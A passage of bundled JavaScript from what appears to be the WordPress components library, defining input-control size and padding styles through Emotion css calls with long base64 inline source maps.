Fx0XHRjb2xvcjogJHsgQ09MT1JTLnVpLmRhcmtHcmF5UGxhY2Vob2xkZXIgfTtcblx0XHR9XG5cblx0XHQmOjotbW96LXBsYWNlaG9sZGVyIHtcblx0XHRcdGNvbG9yOiAkeyBDT0xPUlMudWkuZGFya0dyYXlQbGFjZWhvbGRlciB9O1xuXHRcdH1cblxuXHRcdCY6LW1zLWlucHV0LXBsYWNlaG9sZGVyIHtcblx0XHRcdGNvbG9yOiAkeyBDT0xPUlMudWkuZGFya0dyYXlQbGFjZWhvbGRlciB9O1xuXHRcdH1cblxuXHRcdCZbdHlwZT0nZW1haWwnXSxcblx0XHQmW3R5cGU9J3VybCddIHtcblx0XHRcdC8qIHJ0bDppZ25vcmUgKi9cblx0XHRcdGRpcmVjdGlvbjogbHRyO1xuXHRcdH1cblx0fVxuYDtcblxuY29uc3QgQmFzZUxhYmVsID0gc3R5bGVkKCBUZXh0ICk8IHsgbGFiZWxQb3NpdGlvbj86IExhYmVsUG9zaXRpb24gfSA+YFxuXHQmJiYge1xuXHRcdCR7IGJhc2VMYWJlbFR5cG9ncmFwaHkgfTtcblxuXHRcdGJveC1zaXppbmc6IGJvcmRlci1ib3g7XG5cdFx0ZGlzcGxheTogYmxvY2s7XG5cdFx0cGFkZGluZy10b3A6IDA7XG5cdFx0cGFkZGluZy1ib3R0b206IDA7XG5cdFx0bWF4LXdpZHRoOiAxMDAlO1xuXHRcdHotaW5kZXg6IDE7XG5cdH1cbmA7XG5cbmV4cG9ydCBjb25zdCBMYWJlbCA9IChcblx0cHJvcHM6IFdvcmRQcmVzc0NvbXBvbmVudFByb3BzPFxuXHRcdHsgbGFiZWxQb3NpdGlvbj86IExhYmVsUG9zaXRpb247IGNoaWxkcmVuOiBSZWFjdE5vZGUgfSxcblx0XHQnbGFiZWwnLFxuXHRcdGZhbHNlXG5cdD5cbikgPT4gPEJhc2VMYWJlbCB7IC4uLnByb3BzIH0gYXM9XCJsYWJlbFwiIC8+O1xuXG5leHBvcnQgY29uc3QgTGFiZWxXcmFwcGVyID0gc3R5bGVkKCBGbGV4SXRlbSApYFxuXHRtYXgtd2lkdGg6IGNhbGMoIDEwMCUgLSAxMHB4ICk7XG5gO1xuXG5jb25zdCBwcmVmaXhTdWZmaXhXcmFwcGVyU3R5bGVzID0gKCB7XG5cdHZhcmlhbnQgPSAnZGVmYXVsdCcsXG5cdHNpemUsXG5cdF9fbmV4dDQwcHhEZWZhdWx0U2l6ZSxcblx0aXNQcmVmaXgsXG59OiBQcmVmaXhTdWZmaXhXcmFwcGVyUHJvcHMgJiB7IGlzUHJlZml4PzogYm9vbGVhbiB9ICkgPT4ge1xuXHRjb25zdCB7IHBhZGRpbmdMZWZ0OiBwYWRkaW5nIH0gPSBnZXRTaXplQ29uZmlnKCB7XG5cdFx0aW5wdXRTaXplOiBzaXplLFxuXHRcdF9fbmV4dDQwcHhEZWZhdWx0U2l6ZSxcblx0fSApO1xuXG5cdGNvbnN0IHBhZGRpbmdQcm9wZXJ0eSA9IGlzUHJlZml4XG5cdFx0PyAncGFkZGluZ0lubGluZVN0YXJ0J1xuXHRcdDogJ3BhZGRpbmdJbmxpbmVFbmQnO1xuXG5cdGlmICggdmFyaWFudCA9PT0gJ2RlZmF1bHQnICkge1xuXHRcdHJldHVybiBjc3MoIHtcblx0XHRcdFsgcGFkZGluZ1Byb3BlcnR5IF06IHBhZGRpbmcsXG5cdFx0fSApO1xuXHR9XG5cblx0Ly8gSWYgdmFyaWFudCBpcyAnaWNvbicgb3IgJ2NvbnRyb2wnXG5cdHJldHVybiBjc3MoIHtcblx0XHRkaXNwbGF5OiAnZmxleCcsXG5cdFx0WyBwYWRkaW5nUHJvcGVydHkgXTogcGFkZGluZyAtIDQsXG5cdH0gKTtcbn07XG5cbmV4cG9ydCBjb25zdCBQcmVmaXhTdWZmaXhXcmFwcGVyID0gc3R5bGVkLmRpdmBcblx0JHsgcHJlZml4U3VmZml4V3JhcHBlclN0eWxlcyB9XG5gO1xuIl19 */");
24554 };
24555 var getSizeConfig = ({
24556 inputSize: size3,
24557 __next40pxDefaultSize
24558 }) => {
24559 const sizes = {
24560 default: {
24561 height: 40,
24562 lineHeight: 1,
24563 minHeight: 40,
24564 paddingLeft: config_values_default.controlPaddingX,
24565 paddingRight: config_values_default.controlPaddingX
24566 },
24567 small: {
24568 height: 24,
24569 lineHeight: 1,
24570 minHeight: 24,
24571 paddingLeft: config_values_default.controlPaddingXSmall,
24572 paddingRight: config_values_default.controlPaddingXSmall
24573 },
24574 compact: {
24575 height: 32,
24576 lineHeight: 1,
24577 minHeight: 32,
24578 paddingLeft: config_values_default.controlPaddingXSmall,
24579 paddingRight: config_values_default.controlPaddingXSmall
24580 },
24581 "__unstable-large": {
24582 height: 40,
24583 lineHeight: 1,
24584 minHeight: 40,
24585 paddingLeft: config_values_default.controlPaddingX,
24586 paddingRight: config_values_default.controlPaddingX
24587 }
24588 };
24589 if (!__next40pxDefaultSize) {
24590 sizes.default = sizes.compact;
24591 }
24592 return sizes[size3] || sizes.default;
24593 };
24594 var sizeStyles = (props) => {
24595 return /* @__PURE__ */ css(getSizeConfig(props), false ? "" : ";label:sizeStyles;", false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbImlucHV0LWNvbnRyb2wtc3R5bGVzLnRzeCJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUErTlEiLCJmaWxlIjoiaW5wdXQtY29udHJvbC1zdHlsZXMudHN4Iiwic291cmNlc0NvbnRlbnQiOlsiLyoqXG4gKiBFeHRlcm5hbCBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IHR5cGUgeyBTZXJpYWxpemVkU3R5bGVzIH0gZnJvbSAnQGVtb3Rpb24vcmVhY3QnO1xuaW1wb3J0IHsgY3NzIH0gZnJvbSAnQGVtb3Rpb24vcmVhY3QnO1xuaW1wb3J0IHN0eWxlZCBmcm9tICdAZW1vdGlvbi9zdHlsZWQnO1xuaW1wb3J0IHR5cGUgeyBDU1NQcm9wZXJ0aWVzLCBSZWFjdE5vZGUgfSBmcm9tICdyZWFjdCc7XG5cbi8qKlxuICogSW50ZXJuYWwgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCB0eXBlIHsgV29yZFByZXNzQ29tcG9uZW50UHJvcHMgfSBmcm9tICcuLi8uLi9jb250ZXh0JztcbmltcG9ydCB7IEZsZXgsIEZsZXhJdGVtIH0gZnJvbSAnLi4vLi4vZmxleCc7XG5pbXBvcnQgeyBUZXh0IH0gZnJvbSAnLi4vLi4vdGV4dCc7XG5pbXBvcnQgeyBiYXNlTGFiZWxUeXBvZ3JhcGh5LCBDT0xPUlMsIENPTkZJRywgcnRsIH0gZnJvbSAnLi4vLi4vdXRpbHMnO1xuaW1wb3J0IHR5cGUgeyBMYWJlbFBvc2l0aW9uLCBTaXplLCBQcmVmaXhTdWZmaXhXcmFwcGVyUHJvcHMgfSBmcm9tICcuLi90eXBlcyc7XG5cbnR5cGUgQ29udGFpbmVyUHJvcHMgPSB7XG5cdGRpc2FibGVkPzogYm9vbGVhbjtcblx0aGlkZUxhYmVsPzogYm9vbGVhbjtcblx0X191bnN0YWJsZUlucHV0V2lkdGg/OiBDU1NQcm9wZXJ0aWVzWyAnd2lkdGgnIF07XG5cdGxhYmVsUG9zaXRpb24/OiBMYWJlbFBvc2l0aW9uO1xufTtcblxuZXhwb3J0IGNvbnN0IFByZWZpeCA9IHN0eWxlZC5zcGFuYFxuXHRib3gtc2l6aW5nOiBib3JkZXItYm94O1xuXHRkaXNwbGF5OiBibG9jaztcbmA7XG5cbmV4cG9ydCBjb25zdCBTdWZmaXggPSBzdHlsZWQuc3BhbmBcblx0YWxpZ24taXRlbXM6IGNlbnRlcjtcblx0YWxpZ24tc2VsZjogc3RyZXRjaDtcblx0Ym94LXNpemluZzogYm9yZGVyLWJveDtcblx0ZGlzcGxheTogZmxleDtcbmA7XG5cbnR5cGUgQmFja2Ryb3BQcm9wcyA9IHtcblx0ZGlzYWJsZWQ/OiBib29sZWFuO1xuXHRpc0JvcmRlcmxlc3M/OiBib29sZWFuO1xufTtcblxuY29uc3QgYmFja2Ryb3BCb3JkZXJDb2xvciA9ICgge1xuXHRkaXNhYmxlZCxcblx0aXNCb3JkZXJsZXNzLFxufTogQmFja2Ryb3BQcm9wcyApOiBDU1NQcm9wZXJ0aWVzWyAnYm9yZGVyQ29sb3InIF0gPT4ge1xuXHRpZiAoIGlzQm9yZGVybGVzcyApIHtcblx0XHRyZXR1cm4gJ3RyYW5zcGFyZW50Jztcblx0fVxuXG5cdGlmICggZGlzYWJsZWQgKSB7XG5cdFx0cmV0dXJuIENPTE9SUy51aS5ib3JkZXJEaXNhYmxlZDtcblx0fVxuXG5cdHJldHVybiBDT0xPUlMudWkuYm9yZGVyO1xufTtcblxuZXhwb3J0IGNvbnN0IEJhY2tkcm9wVUkgPSBzdHlsZWQuZGl2PCBCYWNrZHJvcFByb3BzID5gXG5cdCYmJiB7XG5cdFx0Ym94LXNpemluZzogYm9yZGVyLWJveDtcblx0XHRib3JkZXItY29sb3I6ICR7IGJhY2tkcm9wQm9yZGVyQ29sb3IgfTtcblx0XHRib3JkZXItcmFkaXVzOiBpbmhlcml0O1xuXHRcdGJvcmRlci1zdHlsZTogc29saWQ7XG5cdFx0Ym9yZGVyLXdpZHRoOiAxcHg7XG5cdFx0Ym90dG9tOiAwO1xuXHRcdGxlZnQ6IDA7XG5cdFx0bWFyZ2luOiAwO1xuXHRcdHBhZGRpbmc6IDA7XG5cdFx0cG9pbnRlci1ldmVudHM6IG5vbmU7XG5cdFx0cG9zaXRpb246IGFic29sdXRlO1xuXHRcdHJpZ2h0OiAwO1xuXHRcdHRvcDogMDtcblxuXHRcdCR7IHJ0bCggeyBwYWRkaW5nTGVmdDogMiB9ICkgfVxuXHR9XG5gO1xuXG5leHBvcnQgY29uc3QgUm9vdCA9IHN0eWxlZCggRmxleCApYFxuXHRib3gtc2l6aW5nOiBib3JkZXItYm94O1xuXHRwb3NpdGlvbjogcmVsYXRpdmU7XG5cdGJvcmRlci1yYWRpdXM6ICR7IENPTkZJRy5yYWRpdXNTbWFsbCB9O1xuXHRwYWRkaW5nLXRvcDogMDtcblxuXHQvLyBGb2N1cyB3aXRoaW4sIGV4Y2x1ZGluZyBjYXNlcyB3aGVyZSBhdXhpbGlhcnkgY29udHJvbHMgaW4gcHJlZml4IG9yIHN1ZmZpeCBoYXZlIGZvY3VzLlxuXHQmOmZvY3VzLXdpdGhpbjpub3QoIDpoYXMoIDppcyggJHsgUHJlZml4IH0sICR7IFN1ZmZpeCB9ICk6Zm9jdXMtd2l0aGluICkgKSB7XG5cdFx0JHsgQmFja2Ryb3BVSSB9IHtcblx0XHRcdGJvcmRlci1jb2xvcjogJHsgQ09MT1JTLnVpLmJvcmRlckZvY3VzIH07XG5cdFx0XHRib3gtc2hhZG93OiAkeyBDT05GSUcuY29udHJvbEJveFNoYWRvd0ZvY3VzIH07XG5cdFx0XHQvLyBXaW5kb3dzIEhpZ2ggQ29udHJhc3QgbW9kZSB3aWxsIHNob3cgdGhpcyBvdXRsaW5lLCBidXQgbm90IHRoZSBib3gtc2hhZG93LlxuXHRcdFx0b3V0bGluZTogMnB4IHNvbGlkIHRyYW5zcGFyZW50O1xuXHRcdFx0b3V0bGluZS1vZmZzZXQ6IC0ycHg7XG5cdFx0fVxuXHR9XG5gO1xuXG5jb25zdCBjb250YWluZXJEaXNhYmxlZFN0eWxlcyA9ICggeyBkaXNhYmxlZCB9OiBDb250YWluZXJQcm9wcyApID0+IHtcblx0Y29uc3QgYmFja2dyb3VuZENvbG9yID0gZGlzYWJsZWRcblx0XHQ/IENPTE9SUy51aS5iYWNrZ3JvdW5kRGlzYWJsZWRcblx0XHQ6IENPTE9SUy51aS5iYWNrZ3JvdW5kO1xuXG5cdHJldHVybiBjc3MoIHsgYmFja2dyb3VuZENvbG9yIH0gKTtcbn07XG5cbmNvbnN0IGNvbnRhaW5lcldpZHRoU3R5bGVzID0gKCB7XG5cdF9fdW5zdGFibGVJbnB1dFdpZHRoLFxuXHRsYWJlbFBvc2l0aW9uLFxufTogQ29udGFpbmVyUHJvcHMgKSA9PiB7XG5cdGlmICggISBfX3Vuc3RhYmxlSW5wdXRXaWR0aCApIHtcblx0XHRyZXR1cm4gY3NzKCB7IHdpZHRoOiAnMTAwJScgfSApO1xuXHR9XG5cblx0aWYgKCBsYWJlbFBvc2l0aW9uID09PSAnc2lkZScgKSB7XG5cdFx0cmV0dXJuICcnO1xuXHR9XG5cblx0aWYgKCBsYWJlbFBvc2l0aW9uID09PSAnZWRnZScgKSB7XG5cdFx0cmV0dXJuIGNzcygge1xuXHRcdFx0ZmxleDogYDAgMCAkeyBfX3Vuc3RhYmxlSW5wdXRXaWR0aCB9YCxcblx0XHR9ICk7XG5cdH1cblxuXHRyZXR1cm4gY3NzKCB7IHdpZHRoOiBfX3Vuc3RhYmxlSW5wdXRXaWR0aCB9ICk7XG59O1xuXG5leHBvcnQgY29uc3QgQ29udGFpbmVyID0gc3R5bGVkLmRpdjwgQ29udGFpbmVyUHJvcHMgPmBcblx0YWxpZ24taXRlbXM6IGNlbnRlcjtcblx0Ym94LXNpemluZzogYm9yZGVyLWJveDtcblx0Ym9yZGVyLXJhZGl1czogaW5oZXJpdDtcblx0ZGlzcGxheTogZmxleDtcblx0ZmxleDogMTtcblx0cG9zaXRpb246IHJlbGF0aXZlO1xuXG5cdCR7IGNvbnRhaW5lckRpc2FibGVkU3R5bGVzIH1cblx0JHsgY29udGFpbmVyV2lkdGhTdHlsZXMgfVxuYDtcblxudHlwZSBJbnB1dFByb3BzID0ge1xuXHRfX25leHQ0MHB4RGVmYXVsdFNpemU/OiBib29sZWFuO1xuXHRkaXNhYmxlZD86IGJvb2xlYW47XG5cdGlucHV0U2l6ZT86IFNpemU7XG5cdGlzRHJhZ2dpbmc/OiBib29sZWFuO1xuXHRkcmFnQ3Vyc29yPzogQ1NTUHJvcGVydGllc1sgJ2N1cnNvcicgXTtcblx0cGFkZGluZ0lubGluZVN0YXJ0PzogQ1NTUHJvcGVydGllc1sgJ3BhZGRpbmdJbmxpbmVTdGFydCcgXTtcblx0cGFkZGluZ0lubGluZUVuZD86IENTU1Byb3BlcnRpZXNbICdwYWRkaW5nSW5saW5lRW5kJyBdO1xufTtcblxuY29uc3QgZGlzYWJsZWRTdHlsZXMgPSAoIHsgZGlzYWJsZWQgfTogSW5wdXRQcm9wcyApID0+IHtcblx0aWYgKCAhIGRpc2FibGVkICkge1xuXHRcdHJldHVybiAnJztcblx0fVxuXG5cdHJldHVybiBjc3MoIHtcblx0XHRjb2xvcjogQ09MT1JTLnVpLnRleHREaXNhYmxlZCxcblx0fSApO1xufTtcblxuZXhwb3J0IGNvbnN0IGZvbnRTaXplU3R5bGVzID0gKCB7IGlucHV0U2l6ZTogc2l6ZSB9OiBJbnB1dFByb3BzICkgPT4ge1xuXHRjb25zdCBzaXplcyA9IHtcblx0XHRkZWZhdWx0OiAnMTNweCcsXG5cdFx0c21hbGw6ICcxMXB4Jyxcblx0XHRjb21wYWN0OiAnMTNweCcsXG5cdFx0J19fdW5zdGFibGUtbGFyZ2UnOiAnMTNweCcsXG5cdH07XG5cblx0Y29uc3QgZm9udFNpemUgPSBzaXplc1sgc2l6ZSBhcyBTaXplIF0gfHwgc2l6ZXMuZGVmYXVsdDtcblx0Y29uc3QgZm9udFNpemVNb2JpbGUgPSAnMTZweCc7XG5cblx0aWYgKCAhIGZvbnRTaXplICkge1xuXHRcdHJldHVybiAnJztcblx0fVxuXG5cdHJldHVybiBjc3NgXG5cdFx0Zm9udC1zaXplOiAkeyBmb250U2l6ZU1vYmlsZSB9O1xuXG5cdFx0QG1lZGlhICggbWluLXdpZHRoOiA2MDBweCApIHtcblx0XHRcdGZvbnQtc2l6ZTogJHsgZm9udFNpemUgfTtcblx0XHR9XG5cdGA7XG59O1xuXG5leHBvcnQgY29uc3QgZ2V0U2l6ZUNvbmZpZyA9ICgge1xuXHRpbnB1dFNpemU6IHNpemUsXG5cdF9fbmV4dDQwcHhEZWZhdWx0U2l6ZSxcbn06IElucHV0UHJvcHMgKSA9PiB7XG5cdC8vIFBhZGRpbmdzIG1heSBiZSBvdmVycmlkZGVuIGJ5IHRoZSBjdXN0b20gcGFkZGluZ3MgcHJvcHMuXG5cdGNvbnN0IHNpemVzID0ge1xuXHRcdGRlZmF1bHQ6IHtcblx0XHRcdGhlaWdodDogNDAsXG5cdFx0XHRsaW5lSGVpZ2h0OiAxLFxuXHRcdFx0bWluSGVpZ2h0OiA0MCxcblx0XHRcdHBhZGRpbmdMZWZ0OiBDT05GSUcuY29udHJvbFBhZGRpbmdYLFxuXHRcdFx0cGFkZGluZ1JpZ2h0OiBDT05GSUcuY29udHJvbFBhZGRpbmdYLFxuXHRcdH0sXG5cdFx0c21hbGw6IHtcblx0XHRcdGhlaWdodDogMjQsXG5cdFx0XHRsaW5lSGVpZ2h0OiAxLFxuXHRcdFx0bWluSGVpZ2h0OiAyNCxcblx0XHRcdHBhZGRpbmdMZWZ0OiBDT05GSUcuY29udHJvbFBhZGRpbmdYU21hbGwsXG5cdFx0XHRwYWRkaW5nUmlnaHQ6IENPTkZJRy5jb250cm9sUGFkZGluZ1hTbWFsbCxcblx0XHR9LFxuXHRcdGNvbXBhY3Q6IHtcblx0XHRcdGhlaWdodDogMzIsXG5cdFx0XHRsaW5lSGVpZ2h0OiAxLFxuXHRcdFx0bWluSGVpZ2h0OiAzMixcblx0XHRcdHBhZGRpbmdMZWZ0OiBDT05GSUcuY29udHJvbFBhZGRpbmdYU21hbGwsXG5cdFx0XHRwYWRkaW5nUmlnaHQ6IENPTkZJRy5jb250cm9sUGFkZGluZ1hTbWFsbCxcblx0XHR9LFxuXHRcdCdfX3Vuc3RhYmxlLWxhcmdlJzoge1xuXHRcdFx0aGVpZ2h0OiA0MCxcblx0XHRcdGxpbmVIZWlnaHQ6IDEsXG5cdFx0XHRtaW5IZWlnaHQ6IDQwLFxuXHRcdFx0cGFkZGluZ0xlZnQ6IENPTkZJRy5jb250cm9sUGFkZGluZ1gsXG5cdFx0XHRwYWRkaW5nUmlnaHQ6IENPTkZJRy5jb250cm9sUGFkZGluZ1gsXG5cdFx0fSxcblx0fTtcblxuXHRpZiAoICEgX19uZXh0NDBweERlZmF1bHRTaXplICkge1xuXHRcdHNpemVzLmRlZmF1bHQgPSBzaXplcy5jb21wYWN0O1xuXHR9XG5cblx0cmV0dXJuIHNpemVzWyBzaXplIGFzIFNpemUgXSB8fCBzaXplcy5kZWZhdWx0O1xufTtcblxuY29uc3Qgc2l6ZVN0eWxlcyA9ICggcHJvcHM6IElucHV0UHJvcHMgKSA9PiB7XG5cdHJldHVybiBjc3MoIGdldFNpemVDb25maWcoIHByb3BzICkgKTtcbn07XG5cbmNvbnN0IGN1c3RvbVBhZGRpbmdzID0gKCB7XG5cdHBhZGRpbmdJbmxpbmVTdGFydCxcblx0cGFkZGluZ0lubGluZUVuZCxcbn06IElucHV0UHJvcHMgKSA9PiB7XG5cdHJldHVybiBjc3MoIHsgcGFkZGluZ0lubGluZVN0YXJ0LCBwYWRkaW5nSW5saW5lRW5kIH0gKTtcbn07XG5cbmNvbnN0IGRyYWdTdHlsZXMgPSAoIHsgaXNEcmFnZ2luZywgZHJhZ0N1cnNvciB9OiBJbnB1dFByb3BzICkgPT4ge1xuXHRsZXQgZGVmYXVsdEFycm93U3R5bGVzOiBTZXJpYWxpemVkU3R5bGVzIHwgdW5kZWZpbmVkO1xuXHRsZXQgYWN0aXZlRHJhZ0N1cnNvclN0eWxlczogU2VyaWFsaXplZFN0eWxlcyB8IHVuZGVmaW5lZDtcblxuXHRpZiAoIGlzRHJhZ2dpbmcgKSB7XG5cdFx0ZGVmYXVsdEFycm93U3R5bGVzID0gY3NzYFxuXHRcdFx0Y3Vyc29yOiAkeyBkcmFnQ3Vyc29yIH07XG5cdFx0XHR1c2VyLXNlbGVjdDogbm9uZTtcblxuXHRcdFx0Jjo6LXdlYmtpdC1vdXRlci1zcGluLWJ1dHRvbixcblx0XHRcdCY6Oi13ZWJraXQtaW5uZXItc3Bpbi1idXR0b24ge1xuXHRcdFx0XHQtd2Via2l0LWFwcGVhcmFuY2U6IG5vbmUgIWltcG9ydGFudDtcblx0XHRcdFx0bWFyZ2luOiAwICFpbXBvcnRhbnQ7XG5cdFx0XHR9XG5cdFx0YDtcblx0fVxuXG5cdGlmICggaXNEcmFnZ2luZyAmJiBkcmFnQ3Vyc29yICkge1xuXHRcdGFjdGl2ZURyYWdDdXJzb3JTdHlsZXMgPSBjc3NgXG5cdFx0XHQmOmFjdGl2ZSB7XG5cdFx0XHRcdGN1cnNvcjogJHsgZHJhZ0N1cnNvciB9O1xuXHRcdFx0fVxuXHRcdGA7XG5cdH1cblxuXHRyZXR1cm4gY3NzYFxuXHRcdCR7IGRlZmF1bHRBcnJvd1N0eWxlcyB9XG5cdFx0JHsgYWN0aXZlRHJhZ0N1cnNvclN0eWxlcyB9XG5cdGA7XG59O1xuXG4vLyBUT0RPOiBSZXNvbHZlIG5lZWQgdG8gdXNlICYmJiB0byBpbmNyZWFzZSBzcGVjaWZpY2l0eVxuLy8gaHR0cHM6Ly9naXRodWIuY29tL1dvcmRQcmVzcy9ndXRlbmJlcmcvaXNzdWVzLzE4NDgzXG5cbmV4cG9ydCBjb25zdCBJbnB1dCA9IHN0eWxlZC5pbnB1dDwgSW5wdXRQcm9wcyA+YFxuXHQmJiYge1xuXHRcdGJhY2tncm91bmQtY29sb3I6IHRyYW5zcGFyZW50O1xuXHRcdGJveC1zaXppbmc6IGJvcmRlci1ib3g7XG5cdFx0Ym9yZGVyOiBub25lO1xuXHRcdGJveC1zaGFkb3c6IG5vbmUgIWltcG9ydGFudDtcblx0XHRjb2xvcjogJHsgQ09MT1JTLnRoZW1lLmZvcmVncm91bmQgfTtcblx0XHRkaXNwbGF5OiBibG9jaztcblx0XHRmb250LWZhbWlseTogaW5oZXJpdDtcblx0XHRtYXJnaW46IDA7XG5cdFx0b3V0bGluZTogbm9uZTtcblx0XHR3aWR0aDogMTAwJTtcblxuXHRcdCR7IGRyYWdTdHlsZXMgfVxuXHRcdCR7IGRpc2FibGVkU3R5bGVzIH1cblx0XHQkeyBmb250U2l6ZVN0eWxlcyB9XG5cdFx0JHsgc2l6ZVN0eWxlcyB9XG5cdFx0JHsgY3VzdG9tUGFkZGluZ3MgfVxuXG5cdFx0Jjo6LXdlYmtpdC1pbnB1dC1wbGFjZWhvbGRlciB7XG5cdFx0XHRjb2xvcjogJHsgQ09MT1JTLnVpLmRhcmtHcmF5UGxhY2Vob2xkZXIgfTtcblx0XHR9XG5cblx0XHQmOjotbW96LXBsYWNlaG9sZGVyIHtcblx0XHRcdGNvbG9yOiAkeyBDT0xPUlMudWkuZGFya0dyYXlQbGFjZWhvbGRlciB9O1xuXHRcdH1cblxuXHRcdCY6LW1zLWlucHV0LXBsYWNlaG9sZGVyIHtcblx0XHRcdGNvbG9yOiAkeyBDT0xPUlMudWkuZGFya0dyYXlQbGFjZWhvbGRlciB9O1xuXHRcdH1cblxuXHRcdCZbdHlwZT0nZW1haWwnXSxcblx0XHQmW3R5cGU9J3VybCddIHtcblx0XHRcdC8qIHJ0bDppZ25vcmUgKi9cblx0XHRcdGRpcmVjdGlvbjogbHRyO1xuXHRcdH1cblx0fVxuYDtcblxuY29uc3QgQmFzZUxhYmVsID0gc3R5bGVkKCBUZXh0ICk8IHsgbGFiZWxQb3NpdGlvbj86IExhYmVsUG9zaXRpb24gfSA+YFxuXHQmJiYge1xuXHRcdCR7IGJhc2VMYWJlbFR5cG9ncmFwaHkgfTtcblxuXHRcdGJveC1zaXppbmc6IGJvcmRlci1ib3g7XG5cdFx0ZGlzcGxheTogYmxvY2s7XG5cdFx0cGFkZGluZy10b3A6IDA7XG5cdFx0cGFkZGluZy1ib3R0b206IDA7XG5cdFx0bWF4LXdpZHRoOiAxMDAlO1xuXHRcdHotaW5kZXg6IDE7XG5cdH1cbmA7XG5cbmV4cG9ydCBjb25zdCBMYWJlbCA9IChcblx0cHJvcHM6IFdvcmRQcmVzc0NvbXBvbmVudFByb3BzPFxuXHRcdHsgbGFiZWxQb3NpdGlvbj86IExhYmVsUG9zaXRpb247IGNoaWxkcmVuOiBSZWFjdE5vZGUgfSxcblx0XHQnbGFiZWwnLFxuXHRcdGZhbHNlXG5cdD5cbikgPT4gPEJhc2VMYWJlbCB7IC4uLnByb3BzIH0gYXM9XCJsYWJlbFwiIC8+O1xuXG5leHBvcnQgY29uc3QgTGFiZWxXcmFwcGVyID0gc3R5bGVkKCBGbGV4SXRlbSApYFxuXHRtYXgtd2lkdGg6IGNhbGMoIDEwMCUgLSAxMHB4ICk7XG5gO1xuXG5jb25zdCBwcmVmaXhTdWZmaXhXcmFwcGVyU3R5bGVzID0gKCB7XG5cdHZhcmlhbnQgPSAnZGVmYXVsdCcsXG5cdHNpemUsXG5cdF9fbmV4dDQwcHhEZWZhdWx0U2l6ZSxcblx0aXNQcmVmaXgsXG59OiBQcmVmaXhTdWZmaXhXcmFwcGVyUHJvcHMgJiB7IGlzUHJlZml4PzogYm9vbGVhbiB9ICkgPT4ge1xuXHRjb25zdCB7IHBhZGRpbmdMZWZ0OiBwYWRkaW5nIH0gPSBnZXRTaXplQ29uZmlnKCB7XG5cdFx0aW5wdXRTaXplOiBzaXplLFxuXHRcdF9fbmV4dDQwcHhEZWZhdWx0U2l6ZSxcblx0fSApO1xuXG5cdGNvbnN0IHBhZGRpbmdQcm9wZXJ0eSA9IGlzUHJlZml4XG5cdFx0PyAncGFkZGluZ0lubGluZVN0YXJ0J1xuXHRcdDogJ3BhZGRpbmdJbmxpbmVFbmQnO1xuXG5cdGlmICggdmFyaWFudCA9PT0gJ2RlZmF1bHQnICkge1xuXHRcdHJldHVybiBjc3MoIHtcblx0XHRcdFsgcGFkZGluZ1Byb3BlcnR5IF06IHBhZGRpbmcsXG5cdFx0fSApO1xuXHR9XG5cblx0Ly8gSWYgdmFyaWFudCBpcyAnaWNvbicgb3IgJ2NvbnRyb2wnXG5cdHJldHVybiBjc3MoIHtcblx0XHRkaXNwbGF5OiAnZmxleCcsXG5cdFx0WyBwYWRkaW5nUHJvcGVydHkgXTogcGFkZGluZyAtIDQsXG5cdH0gKTtcbn07XG5cbmV4cG9ydCBjb25zdCBQcmVmaXhTdWZmaXhXcmFwcGVyID0gc3R5bGVkLmRpdmBcblx0JHsgcHJlZml4U3VmZml4V3JhcHBlclN0eWxlcyB9XG5gO1xuIl19 */");
24596 };
24597 var customPaddings = ({
24598 paddingInlineStart,
24599 paddingInlineEnd
24600 }) => {
24601 return /* @__PURE__ */ css({
24602 paddingInlineStart,
24603 paddingInlineEnd
24604 }, false ? "" : ";label:customPaddings;", false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbImlucHV0LWNvbnRyb2wtc3R5bGVzLnRzeCJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUFzT1EiLCJmaWxlIjoiaW5wdXQtY29udHJvbC1zdHlsZXMudHN4Iiwic291cmNlc0NvbnRlbnQiOlsiLyoqXG4gKiBFeHRlcm5hbCBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IHR5cGUgeyBTZXJpYWxpemVkU3R5bGVzIH0gZnJvbSAnQGVtb3Rpb24vcmVhY3QnO1xuaW1wb3J0IHsgY3NzIH0gZnJvbSAnQGVtb3Rpb24vcmVhY3QnO1xuaW1wb3J0IHN0eWxlZCBmcm9tICdAZW1vdGlvbi9zdHlsZWQnO1xuaW1wb3J0IHR5cGUgeyBDU1NQcm9wZXJ0aWVzLCBSZWFjdE5vZGUgfSBmcm9tICdyZWFjdCc7XG5cbi8qKlxuICogSW50ZXJuYWwgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCB0eXBlIHsgV29yZFByZXNzQ29tcG9uZW50UHJvcHMgfSBmcm9tICcuLi8uLi9jb250ZXh0JztcbmltcG9ydCB7IEZsZXgsIEZsZXhJdGVtIH0gZnJvbSAnLi4vLi4vZmxleCc7XG5pbXBvcnQgeyBUZXh0IH0gZnJvbSAnLi4vLi4vdGV4dCc7XG5pbXBvcnQgeyBiYXNlTGFiZWxUeXBvZ3JhcGh5LCBDT0xPUlMsIENPTkZJRywgcnRsIH0gZnJvbSAnLi4vLi4vdXRpbHMnO1xuaW1wb3J0IHR5cGUgeyBMYWJlbFBvc2l0aW9uLCBTaXplLCBQcmVmaXhTdWZmaXhXcmFwcGVyUHJvcHMgfSBmcm9tICcuLi90eXBlcyc7XG5cbnR5cGUgQ29udGFpbmVyUHJvcHMgPSB7XG5cdGRpc2FibGVkPzogYm9vbGVhbjtcblx0aGlkZUxhYmVsPzogYm9vbGVhbjtcblx0X191bnN0YWJsZUlucHV0V2lkdGg/OiBDU1NQcm9wZXJ0aWVzWyAnd2lkdGgnIF07XG5cdGxhYmVsUG9zaXRpb24/OiBMYWJlbFBvc2l0aW9uO1xufTtcblxuZXhwb3J0IGNvbnN0IFByZWZpeCA9IHN0eWxlZC5zcGFuYFxuXHRib3gtc2l6aW5nOiBib3JkZXItYm94O1xuXHRkaXNwbGF5OiBibG9jaztcbmA7XG5cbmV4cG9ydCBjb25zdCBTdWZmaXggPSBzdHlsZWQuc3BhbmBcblx0YWxpZ24taXRlbXM6IGNlbnRlcjtcblx0YWxpZ24tc2VsZjogc3RyZXRjaDtcblx0Ym94LXNpemlu